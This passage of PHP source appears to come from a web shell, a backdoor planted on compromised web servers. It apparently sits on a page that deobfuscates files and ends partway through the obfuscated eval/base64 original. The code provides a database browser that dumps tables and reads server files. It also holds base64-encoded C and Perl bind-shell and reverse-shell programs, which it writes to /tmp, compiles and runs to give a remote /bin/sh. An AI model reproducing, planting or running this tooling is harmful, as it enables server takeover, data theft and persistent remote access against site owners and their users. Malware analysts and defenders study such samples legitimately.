<td><input type=text name=sql_pass value=\"".(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']))."\" required></td><td>";$tmp="<input type=text name=sql_base value=''>";if(isset($_POST['sql_host'])){if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])){switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}$db->listDbs();echo"<label><select name=sql_base><option value=''></option>";while($=$db->fetch()){list($key,$value)=each($);echo'<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';}echo'</select></label>';}else echo$tmp;}else echo$tmp;echo"</td>
<td><input type=submit value='submit' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'".(empty($_POST['sql_count'])?'':' checked')."> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";if(isset($db)&&$db->link){echo"<br/><table width=100% cellpadding=2 cellspacing=0>";if(!empty($_POST['sql_base'])){$db->selectdb($_POST['sql_base']);echo"<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";$tbls_res=$db->listTables();while($=$db->fetch($tbls_res)){list($key,$value)=each($);if(!empty($_POST['sql_count']))$n=$db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));$value=htmlspecialchars($value);echo"<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>".(empty($_POST['sql_count'])?' ':" <small>(".$n['n'].")</small>")."</nobr><br>";}echo"<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";if(@$_POST['p1']=='select'){$_POST['p1']='query';$_POST['p3']=$_POST['p3']?$_POST['p3']:1;$db->query('SELECT COUNT(*) as n FROM '.$_POST['p2']);$num=$db->fetch();$pages=ceil($num['n']/30);echo"<script>d.sf.onsubmit=function(){st(\"".$_POST['p2']."\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> (".$num['n']." records) Page # <input type=text name='p3' value=".((int)$_POST['p3']).">";echo" of ".$pages;if($_POST['p3']>1)echo" <a href=# onclick='st(\"".$_POST['p2'].'", '.($_POST['p3']-1).")'>< Prev</a>";if($_POST['p3']<$pages)echo" <a href=# onclick='st(\"".$_POST['p2'].'", '.($_POST['p3']+1).")'>Next ></a>";$_POST['p3']--;if($_POST['type']=='pgsql')$_POST['p2']='SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);else $_POST['p2']='SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';echo"<br><br>";}if((@$_POST['p1']=='query')&&!empty($_POST['p2'])){$db->query(@$_POST['p2']);if($db->res!==false){$title=false;echo'<table width=100% cellspacing=1 cellpadding=2 class=main>';$line=1;while($=$db->fetch()){if(!$title){echo'<tr>';foreach($ as$key=>$value)echo'<th>'.$key.'</th>';reset($);$title=true;echo'</tr><tr>';$line=2;}echo'<tr class="l'.$line.'">';$line=$line==1?2:1;foreach($ as$key=>$value){if($value==null)echo'<td><i>null</i></td>';else echo'<td>'.nl2br(htmlspecialchars($value)).'</td>';}echo'</tr>';}echo'</table>';}else{echo'<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';}}echo"<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";if(!empty($_POST['p2'])&&($_POST['p1']!='loadfile'))echo htmlspecialchars($_POST['p2']);echo"</textarea><br/><input type=submit value='Execute'>";echo"</td></tr>";}echo"</table></form><br/>";if($_POST['type']=='mysql'){$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");if($db->fetch())echo"<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='submit'></form>";}if(@$_POST['p1']=='loadfile'){$file=$db->loadFile($_POST['p2']);echo'<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';}}else{echo htmlspecialchars($db->error());}echo'</div>';hardFooter();}function actionNetwork(){hardHeader();$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";echo"<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
<span>Bind port to /bin/sh</span><br/>
Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
</form>
<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
<span>Back-connect to</span><br/>
Server: <input type='text' name='server' value=".$_SERVER['REMOTE_ADDR']."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
</form><br>";if(isset($_POST['p1'])){function cf($f,$t){$w=@fopen($f,"w") or @function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));@fclose($w);}}if($_POST['p1']=='bpc'){cf("/tmp/bp.c",$bind_port_c);$=ex("gcc -o /tmp/bp /tmp/bp.c");@unlink("/tmp/bp.c");$.=ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");echo"<pre class=ml1>".$.ex("ps aux | grep bp")."</pre>";}if($_POST['p1']=='bpp'){cf("/tmp/bp.pl",$bind_port_p);$=ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");echo"<pre class=ml1>".$.ex("ps aux | grep bp.pl")."</pre>";}if($_POST['p1']=='bcc'){cf("/tmp/bc.c",$back_connect_c);$=ex("gcc -o /tmp/bc /tmp/bc.c");@unlink("/tmp/bc.c");$.=ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");echo"<pre class=ml1>".$.ex("ps aux | grep bc")."</pre>";}if($_POST['p1']=='bcp'){cf("/tmp/bc.pl",$back_connect_p);$=ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");echo"<pre class=ml1>".$.ex("ps aux | grep bc.pl")."</pre>";}}echo'</div>';hardFooter();}if(empty($_POST['a']))if(isset($)&&function_exists('action'.$))$_POST['a']=$;else $_POST['a']='FilesMan';if(!empty($_POST['a'])&&function_exists('action'.$_POST['a']))call_user_func('action'.$_POST['a']);;
Did this file decode correctly?
Original Code
eval(gzuncompress(base64_decode("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